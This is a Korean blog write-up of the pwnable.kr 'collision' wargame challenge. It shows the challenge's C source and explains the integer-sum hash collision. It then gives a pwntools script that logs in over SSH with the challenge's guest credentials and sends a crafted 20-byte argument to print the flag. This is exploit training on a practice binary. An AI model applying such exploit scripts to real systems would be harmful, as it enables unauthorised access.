ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

write-up(pwn)/pwnable.kr

[pwnable.kr] collision write-up

2023. 5. 1. 21:41
#include <stdio.h>
#include <string.h>

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

 

ssh로 연결해준 뒤 argv를 설정해 바이너리를 실행하면 됩니다.

코드를 보면 char 포인터를 int 포인터로 변환시켜
for 문을 활용해 4바이트 씩 더해서 변수 res에 저장합니다.

 

최종적으로 res가 hashcode인 0x21DD09EC가 되어야 합니다.

hashocde를 4개로 나누면 

0x06C5CEC8 * 3 + 0x06C5CECC로 표현할 수 있습니다.

 

최종 익스플로잇 코드는 다음과 같습니다.

(리틀엔디안을 사용해줘야 합니다)

from pwn import *

s = ssh(user='col',host='pwnable.kr',port=2222,password='guest')

pay = ['./col', b'\xC8\xCE\xC5\x06'*4 + b'\xCC\xCE\xC5\x06']
r = s.process(executable='./col',argv=pay)
r.interactive()
$ python3 ex.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] col@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./col') on pwnable.kr: pid 5262
[*] Switching to interactive mode
daddy! I just managed to create a hash collision :)
[*] Got EOF while reading in interactive

'write-up(pwn) > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] passcode write-up  (0) 2023.06.14
[pwnable.kr] flag write-up  (0) 2023.05.13
[pwnable.kr] bof write-up  (0) 2023.05.01
[pwnable.kr] fd write-up  (0) 2023.04.29
    'write-up(pwn)/pwnable.kr' 카테고리의 다른 글
    • [pwnable.kr] passcode write-up
    • [pwnable.kr] flag write-up
    • [pwnable.kr] bof write-up
    • [pwnable.kr] fd write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바